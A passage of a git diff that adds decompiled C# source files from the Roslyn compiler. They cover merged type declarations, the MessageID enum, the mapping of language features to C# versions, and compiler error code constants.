((TypeDeclarationSyntax)(object)syntax).AttributeLists; + break; + case SyntaxKind.DelegateDeclaration: + attributeLists = ((DelegateDeclarationSyntax)(object)syntax).AttributeLists; + break; + case SyntaxKind.EnumDeclaration: + attributeLists = ((EnumDeclarationSyntax)(object)syntax).AttributeLists; + break; + default: + throw ExceptionUtilities.UnexpectedValue((object)syntax.Kind()); + } + instance.Add(attributeLists); + } + } + return instance.ToImmutableAndFree(); + } + + public LexicalSortKey GetLexicalSortKey(CSharpCompilation compilation) + { + LexicalSortKey lexicalSortKey = new LexicalSortKey((Location)(object)Declarations[0].NameLocation, compilation); + for (int i = 1; i < Declarations.Length; i++) + { + lexicalSortKey = LexicalSortKey.First(lexicalSortKey, new LexicalSortKey((Location)(object)Declarations[i].NameLocation, compilation)); + } + return lexicalSortKey; + } + + private ImmutableArray MakeChildren() + { + ArrayBuilder val = null; + ImmutableArray.Enumerator enumerator = Declarations.GetEnumerator(); + while (enumerator.MoveNext()) + { + ImmutableArray.Enumerator enumerator2 = enumerator.Current.Children.GetEnumerator(); + while (enumerator2.MoveNext()) + { + SingleTypeDeclaration current = enumerator2.Current; + if (current != null) + { + if (val == null) + { + val = ArrayBuilder.GetInstance(); + } + val.Add(current); + } + } + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + if (val != null) + { + Dictionary> dictionary = val.ToDictionary((Func)((SingleTypeDeclaration t) => t.Identity), (IEqualityComparer)null); + val.Free(); + foreach (ImmutableArray value in dictionary.Values) + { + instance.Add(new MergedTypeDeclaration(value)); + } + } + return instance.ToImmutableAndFree(); + } + + protected override ImmutableArray GetDeclarationChildren() + { + return StaticCast.From(Children); + } + + internal string GetDebuggerDisplay() + { + return "MergedTypeDeclaration " + base.Name; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/MessageID.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/MessageID.cs new file mode 100644 index 0000000..0a1e3e8 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/MessageID.cs @@ -0,0 +1,232 @@ +namespace Microsoft.CodeAnalysis.CSharp; + +internal enum MessageID +{ + None = 0, + MessageBase = 1200, + IDS_SK_METHOD = 3200, + IDS_SK_TYPE = 3201, + IDS_SK_NAMESPACE = 3202, + IDS_SK_FIELD = 3203, + IDS_SK_PROPERTY = 3204, + IDS_SK_UNKNOWN = 3205, + IDS_SK_VARIABLE = 3206, + IDS_SK_EVENT = 3207, + IDS_SK_TYVAR = 3208, + IDS_SK_ALIAS = 3210, + IDS_SK_LABEL = 3212, + IDS_SK_CONSTRUCTOR = 3213, + IDS_NULL = 11201, + IDS_XMLIGNORED = 11204, + IDS_XMLIGNORED2 = 11205, + IDS_XMLFAILEDINCLUDE = 11206, + IDS_XMLBADINCLUDE = 11207, + IDS_XMLNOINCLUDE = 11208, + IDS_XMLMISSINGINCLUDEFILE = 11209, + IDS_XMLMISSINGINCLUDEPATH = 11210, + IDS_GlobalNamespace = 11211, + IDS_FeatureGenerics = 13700, + IDS_FeatureAnonDelegates = 13701, + IDS_FeatureModuleAttrLoc = 13702, + IDS_FeatureGlobalNamespace = 13703, + IDS_FeatureFixedBuffer = 13704, + IDS_FeaturePragma = 13705, + IDS_FOREACHLOCAL = 13706, + IDS_USINGLOCAL = 13707, + IDS_FIXEDLOCAL = 13708, + IDS_FeatureStaticClasses = 13711, + IDS_FeaturePartialTypes = 13712, + IDS_MethodGroup = 13713, + IDS_AnonMethod = 13714, + IDS_FeatureSwitchOnBool = 13717, + IDS_Collection = 13720, + IDS_FeaturePropertyAccessorMods = 13722, + IDS_FeatureExternAlias = 13723, + IDS_FeatureIterators = 13724, + IDS_FeatureDefault = 13725, + IDS_FeatureNullable = 13728, + IDS_Lambda = 13731, + IDS_FeaturePatternMatching = 13732, + IDS_FeatureThrowExpression = 13733, + IDS_FeatureImplicitArray = 13757, + IDS_FeatureImplicitLocal = 13758, + IDS_FeatureAnonymousTypes = 13759, + IDS_FeatureAutoImplementedProperties = 13760, + IDS_FeatureObjectInitializer = 13761, + IDS_FeatureCollectionInitializer = 13762, + IDS_FeatureLambda = 13763, + IDS_FeatureQueryExpression = 13764, + IDS_FeatureExtensionMethod = 13765, + IDS_FeaturePartialMethod = 13766, + IDS_FeatureDynamic = 13844, + IDS_FeatureTypeVariance = 13845, + IDS_FeatureNamedArgument = 13846, + IDS_FeatureOptionalParameter = 13847, + IDS_FeatureExceptionFilter = 13848, + IDS_FeatureAutoPropertyInitializer = 13849, + IDS_SK_TYPE_OR_NAMESPACE = 13852, + IDS_SK_ARRAY = 13853, + IDS_SK_POINTER = 13854, + IDS_SK_FUNCTION_POINTER = 13855, + IDS_SK_DYNAMIC = 13856, + IDS_Contravariant = 13859, + IDS_Contravariantly = 13860, + IDS_Covariant = 13861, + IDS_Covariantly = 13862, + IDS_Invariantly = 13863, + IDS_FeatureAsync = 13868, + IDS_FeatureStaticAnonymousFunction = 13869, + IDS_LIB_ENV = 13880, + IDS_LIB_OPTION = 13881, + IDS_REFERENCEPATH_OPTION = 13882, + IDS_DirectoryDoesNotExist = 13883, + IDS_DirectoryHasInvalidPath = 13884, + IDS_Namespace1 = 13885, + IDS_PathList = 13886, + IDS_Text = 13887, + IDS_FeatureDiscards = 13888, + IDS_FeatureDefaultTypeParameterConstraint = 13889, + IDS_FeatureNullPropagatingOperator = 13890, + IDS_FeatureExpressionBodiedMethod = 13891, + IDS_FeatureExpressionBodiedProperty = 13892, + IDS_FeatureExpressionBodiedIndexer = 13893, + IDS_FeatureNameof = 13895, + IDS_FeatureDictionaryInitializer = 13896, + IDS_ToolName = 13897, + IDS_LogoLine1 = 13898, + IDS_LogoLine2 = 13899, + IDS_CSCHelp = 13900, + IDS_FeatureUsingStatic = 13901, + IDS_FeatureInterpolatedStrings = 13902, + IDS_OperationCausedStackOverflow = 13903, + IDS_AwaitInCatchAndFinally = 13904, + IDS_FeatureReadonlyAutoImplementedProperties = 13905, + IDS_FeatureBinaryLiteral = 13906, + IDS_FeatureDigitSeparator = 13907, + IDS_FeatureLocalFunctions = 13908, + IDS_FeatureNullableReferenceTypes = 13909, + IDS_FeatureRefLocalsReturns = 13910, + IDS_FeatureTuples = 13911, + IDS_FeatureOutVar = 13913, + IDS_FeatureExpressionBodiedAccessor = 13915, + IDS_FeatureExpressionBodiedDeOrConstructor = 13916, + IDS_ThrowExpression = 13917, + IDS_FeatureDefaultLiteral = 13918, + IDS_FeatureInferredTupleNames = 13919, + IDS_FeatureGenericPatternMatching = 13920, + IDS_FeatureAsyncMain = 13921, + IDS_LangVersions = 13922, + IDS_FeatureLeadingDigitSeparator = 13923, + IDS_FeatureNonTrailingNamedArguments = 13924, + IDS_FeatureReadOnlyReferences = 13925, + IDS_FeatureRefStructs = 13926, + IDS_FeatureReadOnlyStructs = 13927, + IDS_FeatureRefExtensionMethods = 13928, + IDS_FeaturePrivateProtected = 13930, + IDS_FeatureRefConditional = 13931, + IDS_FeatureAttributesOnBackingFields = 13932, + IDS_FeatureImprovedOverloadCandidates = 13933, + IDS_FeatureRefReassignment = 13934, + IDS_FeatureRefFor = 13935, + IDS_FeatureRefForEach = 13936, + IDS_FeatureEnumGenericTypeConstraint = 13937, + IDS_FeatureDelegateGenericTypeConstraint = 13938, + IDS_FeatureUnmanagedGenericTypeConstraint = 13939, + IDS_FeatureStackAllocInitializer = 13940, + IDS_FeatureTupleEquality = 13941, + IDS_FeatureExpressionVariablesInQueriesAndInitializers = 13942, + IDS_FeatureExtensibleFixedStatement = 13943, + IDS_FeatureIndexingMovableFixedBuffers = 13944, + IDS_FeatureAltInterpolatedVerbatimStrings = 13945, + IDS_FeatureCoalesceAssignmentExpression = 13946, + IDS_FeatureUnconstrainedTypeParameterInNullCoalescingOperator = 13947, + IDS_FeatureNotNullGenericTypeConstraint = 13948, + IDS_FeatureIndexOperator = 13949, + IDS_FeatureRangeOperator = 13950, + IDS_FeatureAsyncStreams = 13951, + IDS_FeatureRecursivePatterns = 13952, + IDS_Disposable = 13953, + IDS_FeatureUsingDeclarations = 13954, + IDS_FeatureStaticLocalFunctions = 13955, + IDS_FeatureNameShadowingInNestedFunctions = 13956, + IDS_FeatureUnmanagedConstructedTypes = 13957, + IDS_FeatureObsoleteOnPropertyAccessor = 13958, + IDS_FeatureReadOnlyMembers = 13959, + IDS_DefaultInterfaceImplementation = 13960, + IDS_OverrideWithConstraints = 13961, + IDS_FeatureNestedStackalloc = 13962, + IDS_FeatureSwitchExpression = 13963, + IDS_FeatureAsyncUsing = 13964, + IDS_FeatureLambdaDiscardParameters = 13965, + IDS_FeatureLocalFunctionAttributes = 13966, + IDS_FeatureExternLocalFunctions = 13967, + IDS_FeatureMemberNotNull = 13968, + IDS_FeatureNativeInt = 13969, + IDS_FeatureImplicitObjectCreation = 13970, + IDS_FeatureTypePattern = 13971, + IDS_FeatureParenthesizedPattern = 13972, + IDS_FeatureOrPattern = 13973, + IDS_FeatureAndPattern = 13974, + IDS_FeatureNotPattern = 13975, + IDS_FeatureRelationalPattern = 13976, + IDS_FeatureExtendedPartialMethods = 13977, + IDS_TopLevelStatements = 13978, + IDS_FeatureFunctionPointers = 13979, + IDS_AddressOfMethodGroup = 13980, + IDS_FeatureInitOnlySetters = 13981, + IDS_FeatureRecords = 13982, + IDS_FeatureNullPointerConstantPattern = 13983, + IDS_FeatureModuleInitializers = 13984, + IDS_FeatureTargetTypedConditional = 13985, + IDS_FeatureCovariantReturnsForOverrides = 13986, + IDS_FeatureExtensionGetEnumerator = 13987, + IDS_FeatureExtensionGetAsyncEnumerator = 13988, + IDS_Parameter = 13989, + IDS_Return = 13990, + IDS_FeatureVarianceSafetyForStaticInterfaceMembers = 13991, + IDS_FeatureConstantInterpolatedStrings = 13992, + IDS_FeatureMixedDeclarationsAndExpressionsInDeconstruction = 13993, + IDS_FeatureSealedToStringInRecord = 13994, + IDS_FeatureRecordStructs = 13995, + IDS_FeatureWithOnStructs = 13996, + IDS_FeaturePositionalFieldsInRecords = 13997, + IDS_FeatureGlobalUsing = 13998, + IDS_FeatureInferredDelegateType = 13999, + IDS_FeatureLambdaAttributes = 14000, + IDS_FeatureWithOnAnonymousTypes = 14001, + IDS_FeatureExtendedPropertyPatterns = 14002, + IDS_FeatureStaticAbstractMembersInInterfaces = 14003, + IDS_FeatureLambdaReturnType = 14004, + IDS_AsyncMethodBuilderOverride = 14005, + IDS_FeatureImplicitImplementationOfNonPublicMembers = 14006, + IDS_FeatureImprovedInterpolatedStrings = 14008, + IDS_FeatureFileScopedNamespace = 14009, + IDS_FeatureParameterlessStructConstructors = 14010, + IDS_FeatureStructFieldInitializers = 14011, + IDS_FeatureGenericAttributes = 14012, + IDS_FeatureNewLinesInInterpolations = 14013, + IDS_FeatureListPattern = 14014, + IDS_FeatureCacheStaticMethodGroupConversion = 14016, + IDS_FeatureRawStringLiterals = 14017, + IDS_FeatureSpanCharConstantPattern = 14018, + IDS_FeatureDisposalPattern = 14019, + IDS_FeatureAutoDefaultStructs = 14020, + IDS_FeatureCheckedUserDefinedOperators = 14021, + IDS_FeatureUtf8StringLiterals = 14022, + IDS_FeatureUnsignedRightShift = 14023, + IDS_FeatureRelaxedShiftOperator = 14024, + IDS_FeatureRequiredMembers = 14025, + IDS_FeatureRefFields = 14026, + IDS_FeatureFileTypes = 14027, + IDS_ArrayAccess = 14028, + IDS_PointerElementAccess = 14029, + IDS_Missing = 14030, + IDS_FeatureLambdaOptionalParameters = 14031, + IDS_FeatureLambdaParamsArray = 14032, + IDS_FeaturePrimaryConstructors = 14033, + IDS_FeatureUsingTypeAlias = 14034, + IDS_FeatureInstanceMemberInNameof = 14035, + IDS_FeatureInlineArrays = 14036, + IDS_FeatureCollectionExpressions = 14037, + IDS_FeatureRefReadonlyParameters = 14038 +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/MessageIDExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/MessageIDExtensions.cs new file mode 100644 index 0000000..548afac --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/MessageIDExtensions.cs @@ -0,0 +1,294 @@ +using System; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal static class MessageIDExtensions +{ + public static LocalizableErrorArgument Localize(this MessageID id) + { + return new LocalizableErrorArgument(id); + } + + internal static string? RequiredFeature(this MessageID feature) + { + return null; + } + + internal static bool CheckFeatureAvailability(this MessageID feature, DiagnosticBag diagnostics, SyntaxNode syntax, Location? location = null) + { + return feature.CheckFeatureAvailability(diagnostics, syntax.SyntaxTree.Options, ((SyntaxNode syntax, Location location) tuple) => tuple.location ?? tuple.syntax.Location, (syntax, location)); + } + + internal static bool CheckFeatureAvailability(this MessageID feature, DiagnosticBag diagnostics, SyntaxToken syntax, Location? location = null) + { + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + return feature.CheckFeatureAvailability(diagnostics, ((SyntaxToken)(ref syntax)).SyntaxTree.Options, ((SyntaxToken syntax, Location location) tuple) => tuple.location ?? ((SyntaxToken)(ref tuple.syntax)).GetLocation(), (syntax, location)); + } + + internal static bool CheckFeatureAvailability(this MessageID feature, BindingDiagnosticBag diagnostics, SyntaxNode syntax, Location? location = null) + { + return feature.CheckFeatureAvailability(diagnostics, syntax.SyntaxTree.Options, ((SyntaxNode syntax, Location location) tuple) => tuple.location ?? tuple.syntax.Location, (syntax, location)); + } + + internal static bool CheckFeatureAvailability(this MessageID feature, BindingDiagnosticBag diagnostics, SyntaxToken syntax, Location? location = null) + { + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + return feature.CheckFeatureAvailability(diagnostics, ((SyntaxToken)(ref syntax)).SyntaxTree.Options, ((SyntaxToken syntax, Location location) tuple) => tuple.location ?? ((SyntaxToken)(ref tuple.syntax)).GetLocation(), (syntax, location)); + } + + private static bool CheckFeatureAvailability(this MessageID feature, DiagnosticBag diagnostics, ParseOptions parseOptions, Func getLocation, TData data) + { + CSDiagnosticInfo featureAvailabilityDiagnosticInfo = feature.GetFeatureAvailabilityDiagnosticInfo((CSharpParseOptions)(object)parseOptions); + if (featureAvailabilityDiagnosticInfo != null) + { + diagnostics.Add((DiagnosticInfo)(object)featureAvailabilityDiagnosticInfo, getLocation(data)); + return false; + } + return true; + } + + private static bool CheckFeatureAvailability(this MessageID feature, BindingDiagnosticBag diagnostics, ParseOptions parseOptions, Func getLocation, TData data) + { + CSDiagnosticInfo featureAvailabilityDiagnosticInfo = feature.GetFeatureAvailabilityDiagnosticInfo((CSharpParseOptions)(object)parseOptions); + if (featureAvailabilityDiagnosticInfo != null) + { + diagnostics.Add((DiagnosticInfo?)(object)featureAvailabilityDiagnosticInfo, getLocation(data)); + return false; + } + return true; + } + + internal static bool CheckFeatureAvailability(this MessageID feature, BindingDiagnosticBag diagnostics, Compilation compilation, Location location) + { + CSDiagnosticInfo featureAvailabilityDiagnosticInfo = feature.GetFeatureAvailabilityDiagnosticInfo((CSharpCompilation)(object)compilation); + if (featureAvailabilityDiagnosticInfo != null) + { + diagnostics.Add((DiagnosticInfo?)(object)featureAvailabilityDiagnosticInfo, location); + return false; + } + return true; + } + + internal static CSDiagnosticInfo? GetFeatureAvailabilityDiagnosticInfo(this MessageID feature, CSharpParseOptions options) + { + if (!options.IsFeatureEnabled(feature)) + { + return GetDisabledFeatureDiagnosticInfo(feature, options.LanguageVersion); + } + return null; + } + + internal static CSDiagnosticInfo? GetFeatureAvailabilityDiagnosticInfo(this MessageID feature, CSharpCompilation compilation) + { + if (!compilation.IsFeatureEnabled(feature)) + { + return GetDisabledFeatureDiagnosticInfo(feature, compilation.LanguageVersion); + } + return null; + } + + private static CSDiagnosticInfo GetDisabledFeatureDiagnosticInfo(MessageID feature, LanguageVersion availableVersion) + { + string text = feature.RequiredFeature(); + if (text != null) + { + return new CSDiagnosticInfo(ErrorCode.ERR_FeatureIsExperimental, feature.Localize(), text); + } + LanguageVersion languageVersion = feature.RequiredVersion(); + if (languageVersion != LanguageVersion.Preview.MapSpecifiedToEffectiveVersion()) + { + return new CSDiagnosticInfo(availableVersion.GetErrorCode(), feature.Localize(), new CSharpRequiredLanguageVersion(languageVersion)); + } + return new CSDiagnosticInfo(ErrorCode.ERR_FeatureInPreview, feature.Localize()); + } + + internal static LanguageVersion RequiredVersion(this MessageID feature) + { + switch (feature) + { + case MessageID.IDS_FeatureLambdaOptionalParameters: + case MessageID.IDS_FeatureLambdaParamsArray: + case MessageID.IDS_FeaturePrimaryConstructors: + case MessageID.IDS_FeatureUsingTypeAlias: + case MessageID.IDS_FeatureInstanceMemberInNameof: + case MessageID.IDS_FeatureInlineArrays: + case MessageID.IDS_FeatureCollectionExpressions: + case MessageID.IDS_FeatureRefReadonlyParameters: + return LanguageVersion.CSharp12; + case MessageID.IDS_FeatureStaticAbstractMembersInInterfaces: + case MessageID.IDS_FeatureGenericAttributes: + case MessageID.IDS_FeatureNewLinesInInterpolations: + case MessageID.IDS_FeatureListPattern: + case MessageID.IDS_FeatureCacheStaticMethodGroupConversion: + case MessageID.IDS_FeatureRawStringLiterals: + case MessageID.IDS_FeatureSpanCharConstantPattern: + case MessageID.IDS_FeatureAutoDefaultStructs: + case MessageID.IDS_FeatureCheckedUserDefinedOperators: + case MessageID.IDS_FeatureUtf8StringLiterals: + case MessageID.IDS_FeatureUnsignedRightShift: + case MessageID.IDS_FeatureRelaxedShiftOperator: + case MessageID.IDS_FeatureRequiredMembers: + case MessageID.IDS_FeatureRefFields: + case MessageID.IDS_FeatureFileTypes: + return LanguageVersion.CSharp11; + case MessageID.IDS_FeatureConstantInterpolatedStrings: + case MessageID.IDS_FeatureMixedDeclarationsAndExpressionsInDeconstruction: + case MessageID.IDS_FeatureSealedToStringInRecord: + case MessageID.IDS_FeatureRecordStructs: + case MessageID.IDS_FeatureWithOnStructs: + case MessageID.IDS_FeaturePositionalFieldsInRecords: + case MessageID.IDS_FeatureGlobalUsing: + case MessageID.IDS_FeatureInferredDelegateType: + case MessageID.IDS_FeatureLambdaAttributes: + case MessageID.IDS_FeatureWithOnAnonymousTypes: + case MessageID.IDS_FeatureExtendedPropertyPatterns: + case MessageID.IDS_FeatureLambdaReturnType: + case MessageID.IDS_AsyncMethodBuilderOverride: + case MessageID.IDS_FeatureImplicitImplementationOfNonPublicMembers: + case MessageID.IDS_FeatureImprovedInterpolatedStrings: + case MessageID.IDS_FeatureFileScopedNamespace: + case MessageID.IDS_FeatureParameterlessStructConstructors: + case MessageID.IDS_FeatureStructFieldInitializers: + return LanguageVersion.CSharp10; + case MessageID.IDS_FeatureStaticAnonymousFunction: + case MessageID.IDS_FeatureDefaultTypeParameterConstraint: + case MessageID.IDS_FeatureLambdaDiscardParameters: + case MessageID.IDS_FeatureLocalFunctionAttributes: + case MessageID.IDS_FeatureExternLocalFunctions: + case MessageID.IDS_FeatureMemberNotNull: + case MessageID.IDS_FeatureNativeInt: + case MessageID.IDS_FeatureImplicitObjectCreation: + case MessageID.IDS_FeatureTypePattern: + case MessageID.IDS_FeatureParenthesizedPattern: + case MessageID.IDS_FeatureOrPattern: + case MessageID.IDS_FeatureAndPattern: + case MessageID.IDS_FeatureNotPattern: + case MessageID.IDS_FeatureRelationalPattern: + case MessageID.IDS_FeatureExtendedPartialMethods: + case MessageID.IDS_TopLevelStatements: + case MessageID.IDS_FeatureFunctionPointers: + case MessageID.IDS_FeatureInitOnlySetters: + case MessageID.IDS_FeatureRecords: + case MessageID.IDS_FeatureModuleInitializers: + case MessageID.IDS_FeatureTargetTypedConditional: + case MessageID.IDS_FeatureCovariantReturnsForOverrides: + case MessageID.IDS_FeatureExtensionGetEnumerator: + case MessageID.IDS_FeatureExtensionGetAsyncEnumerator: + case MessageID.IDS_FeatureVarianceSafetyForStaticInterfaceMembers: + return LanguageVersion.CSharp9; + case MessageID.IDS_FeatureNullableReferenceTypes: + case MessageID.IDS_FeatureAltInterpolatedVerbatimStrings: + case MessageID.IDS_FeatureCoalesceAssignmentExpression: + case MessageID.IDS_FeatureUnconstrainedTypeParameterInNullCoalescingOperator: + case MessageID.IDS_FeatureNotNullGenericTypeConstraint: + case MessageID.IDS_FeatureIndexOperator: + case MessageID.IDS_FeatureRangeOperator: + case MessageID.IDS_FeatureAsyncStreams: + case MessageID.IDS_FeatureRecursivePatterns: + case MessageID.IDS_FeatureUsingDeclarations: + case MessageID.IDS_FeatureStaticLocalFunctions: + case MessageID.IDS_FeatureNameShadowingInNestedFunctions: + case MessageID.IDS_FeatureUnmanagedConstructedTypes: + case MessageID.IDS_FeatureObsoleteOnPropertyAccessor: + case MessageID.IDS_FeatureReadOnlyMembers: + case MessageID.IDS_DefaultInterfaceImplementation: + case MessageID.IDS_OverrideWithConstraints: + case MessageID.IDS_FeatureNestedStackalloc: + case MessageID.IDS_FeatureSwitchExpression: + case MessageID.IDS_FeatureAsyncUsing: + case MessageID.IDS_FeatureNullPointerConstantPattern: + case MessageID.IDS_FeatureDisposalPattern: + return LanguageVersion.CSharp8; + case MessageID.IDS_FeatureAttributesOnBackingFields: + case MessageID.IDS_FeatureImprovedOverloadCandidates: + case MessageID.IDS_FeatureRefReassignment: + case MessageID.IDS_FeatureRefFor: + case MessageID.IDS_FeatureRefForEach: + case MessageID.IDS_FeatureEnumGenericTypeConstraint: + case MessageID.IDS_FeatureDelegateGenericTypeConstraint: + case MessageID.IDS_FeatureUnmanagedGenericTypeConstraint: + case MessageID.IDS_FeatureStackAllocInitializer: + case MessageID.IDS_FeatureTupleEquality: + case MessageID.IDS_FeatureExpressionVariablesInQueriesAndInitializers: + case MessageID.IDS_FeatureExtensibleFixedStatement: + case MessageID.IDS_FeatureIndexingMovableFixedBuffers: + return LanguageVersion.CSharp7_3; + case MessageID.IDS_FeatureLeadingDigitSeparator: + case MessageID.IDS_FeatureNonTrailingNamedArguments: + case MessageID.IDS_FeatureReadOnlyReferences: + case MessageID.IDS_FeatureRefStructs: + case MessageID.IDS_FeatureReadOnlyStructs: + case MessageID.IDS_FeatureRefExtensionMethods: + case MessageID.IDS_FeaturePrivateProtected: + case MessageID.IDS_FeatureRefConditional: + return LanguageVersion.CSharp7_2; + case MessageID.IDS_FeatureDefaultLiteral: + case MessageID.IDS_FeatureInferredTupleNames: + case MessageID.IDS_FeatureGenericPatternMatching: + case MessageID.IDS_FeatureAsyncMain: + return LanguageVersion.CSharp7_1; + case MessageID.IDS_FeaturePatternMatching: + case MessageID.IDS_FeatureThrowExpression: + case MessageID.IDS_FeatureDiscards: + case MessageID.IDS_FeatureBinaryLiteral: + case MessageID.IDS_FeatureDigitSeparator: + case MessageID.IDS_FeatureLocalFunctions: + case MessageID.IDS_FeatureRefLocalsReturns: + case MessageID.IDS_FeatureTuples: + case MessageID.IDS_FeatureOutVar: + case MessageID.IDS_FeatureExpressionBodiedAccessor: + case MessageID.IDS_FeatureExpressionBodiedDeOrConstructor: + return LanguageVersion.CSharp7; + case MessageID.IDS_FeatureExceptionFilter: + case MessageID.IDS_FeatureAutoPropertyInitializer: + case MessageID.IDS_FeatureNullPropagatingOperator: + case MessageID.IDS_FeatureExpressionBodiedMethod: + case MessageID.IDS_FeatureExpressionBodiedProperty: + case MessageID.IDS_FeatureExpressionBodiedIndexer: + case MessageID.IDS_FeatureNameof: + case MessageID.IDS_FeatureDictionaryInitializer: + case MessageID.IDS_FeatureUsingStatic: + case MessageID.IDS_FeatureInterpolatedStrings: + case MessageID.IDS_AwaitInCatchAndFinally: + case MessageID.IDS_FeatureReadonlyAutoImplementedProperties: + return LanguageVersion.CSharp6; + case MessageID.IDS_FeatureAsync: + return LanguageVersion.CSharp5; + case MessageID.IDS_FeatureDynamic: + case MessageID.IDS_FeatureTypeVariance: + case MessageID.IDS_FeatureNamedArgument: + case MessageID.IDS_FeatureOptionalParameter: + return LanguageVersion.CSharp4; + case MessageID.IDS_FeatureImplicitArray: + case MessageID.IDS_FeatureImplicitLocal: + case MessageID.IDS_FeatureAnonymousTypes: + case MessageID.IDS_FeatureAutoImplementedProperties: + case MessageID.IDS_FeatureObjectInitializer: + case MessageID.IDS_FeatureCollectionInitializer: + case MessageID.IDS_FeatureLambda: + case MessageID.IDS_FeatureQueryExpression: + case MessageID.IDS_FeatureExtensionMethod: + case MessageID.IDS_FeaturePartialMethod: + return LanguageVersion.CSharp3; + case MessageID.IDS_FeatureGenerics: + case MessageID.IDS_FeatureAnonDelegates: + case MessageID.IDS_FeatureGlobalNamespace: + case MessageID.IDS_FeatureFixedBuffer: + case MessageID.IDS_FeaturePragma: + case MessageID.IDS_FeatureStaticClasses: + case MessageID.IDS_FeaturePartialTypes: + case MessageID.IDS_FeatureSwitchOnBool: + case MessageID.IDS_FeaturePropertyAccessorMods: + case MessageID.IDS_FeatureExternAlias: + case MessageID.IDS_FeatureIterators: + case MessageID.IDS_FeatureDefault: + case MessageID.IDS_FeatureNullable: + return LanguageVersion.CSharp2; + case MessageID.IDS_FeatureModuleAttrLoc: + return LanguageVersion.CSharp1; + default: + throw ExceptionUtilities.UnexpectedValue((object)feature); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/MessageProvider.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/MessageProvider.cs new file mode 100644 index 0000000..ccf6ed3 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/MessageProvider.cs @@ -0,0 +1,318 @@ +using System; +using System.Collections.Immutable; +using System.Globalization; +using System.Threading; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class MessageProvider : CommonMessageProvider, IObjectWritable +{ + public static readonly MessageProvider Instance; + + bool IObjectWritable.ShouldReuseInSerialization => true; + + public override string CodePrefix => "CS"; + + public override Type ErrorCodeType => typeof(ErrorCode); + + public override int ERR_FailedToCreateTempFile => 1619; + + public override int ERR_MultipleAnalyzerConfigsInSameDir => 8700; + + public override int ERR_ExpectedSingleScript => 7018; + + public override int ERR_OpenResponseFile => 2011; + + public override int ERR_InvalidPathMap => 8101; + + public override int FTL_InvalidInputFileName => 2021; + + public override int ERR_FileNotFound => 2001; + + public override int ERR_NoSourceFile => 1504; + + public override int ERR_CantOpenFileWrite => 2012; + + public override int ERR_OutputWriteFailed => 16; + + public override int WRN_NoConfigNotOnCommandLine => 2023; + + public override int ERR_BinaryFile => 2015; + + public override int WRN_AnalyzerCannotBeCreated => 8032; + + public override int WRN_NoAnalyzerInAssembly => 8033; + + public override int WRN_UnableToLoadAnalyzer => 8034; + + public override int WRN_AnalyzerReferencesFramework => 8850; + + public override int WRN_AnalyzerReferencesNewerCompiler => 9057; + + public override int WRN_DuplicateAnalyzerReference => 9067; + + public override int INF_UnableToLoadSomeTypesInAnalyzer => 8040; + + public override int ERR_CantReadRulesetFile => 8035; + + public override int ERR_CompileCancelled => 1600; + + public override int ERR_BadSourceCodeKind => 8190; + + public override int ERR_BadDocumentationMode => 8191; + + public override int ERR_BadCompilationOptionValue => 7088; + + public override int ERR_MutuallyExclusiveOptions => 7102; + + public override int ERR_InvalidDebugInformationFormat => 2042; + + public override int ERR_InvalidOutputName => 2041; + + public override int ERR_InvalidFileAlignment => 2024; + + public override int ERR_InvalidSubsystemVersion => 1773; + + public override int ERR_InvalidInstrumentationKind => 8111; + + public override int ERR_InvalidHashAlgorithmName => 8113; + + public override int ERR_MetadataFileNotAssembly => 1509; + + public override int ERR_MetadataFileNotModule => 1542; + + public override int ERR_InvalidAssemblyMetadata => 9; + + public override int ERR_InvalidModuleMetadata => 9; + + public override int ERR_ErrorOpeningAssemblyFile => 9; + + public override int ERR_ErrorOpeningModuleFile => 9; + + public override int ERR_MetadataFileNotFound => 6; + + public override int ERR_MetadataReferencesNotSupported => 7099; + + public override int ERR_LinkedNetmoduleMetadataMustProvideFullPEImage => 7098; + + public override int ERR_PublicKeyFileFailure => 7027; + + public override int ERR_PublicKeyContainerFailure => 7028; + + public override int ERR_OptionMustBeAbsolutePath => 8106; + + public override int ERR_CantReadResource => 1566; + + public override int ERR_CantOpenWin32Resource => 1719; + + public override int ERR_CantOpenWin32Manifest => 1926; + + public override int ERR_CantOpenWin32Icon => 7064; + + public override int ERR_ErrorBuildingWin32Resource => 7065; + + public override int ERR_BadWin32Resource => 1583; + + public override int ERR_ResourceFileNameNotUnique => 7041; + + public override int ERR_ResourceNotUnique => 1508; + + public override int ERR_ResourceInModule => 1507; + + public override int ERR_PermissionSetAttributeFileReadError => 7057; + + public override int ERR_EncodinglessSyntaxTree => 8055; + + public override int WRN_PdbUsingNameTooLong => 811; + + public override int WRN_PdbLocalNameTooLong => 8029; + + public override int ERR_PdbWritingFailed => 41; + + public override int ERR_MetadataNameTooLong => 7013; + + public override int ERR_EncReferenceToAddedMember => 7101; + + public override int ERR_TooManyUserStrings => 8103; + + public override int ERR_PeWritingFailure => 8104; + + public override int ERR_ModuleEmitFailure => 7038; + + public override int ERR_EncUpdateFailedMissingAttribute => 7043; + + public override int ERR_InvalidDebugInfo => 7103; + + public override int ERR_FunctionPointerTypesInAttributeNotSupported => 8911; + + public override int WRN_GeneratorFailedDuringInitialization => 8784; + + public override int WRN_GeneratorFailedDuringGeneration => 8785; + + public override int ERR_BadAssemblyName => 8203; + + public override int? WRN_ByValArraySizeConstRequired => 9125; 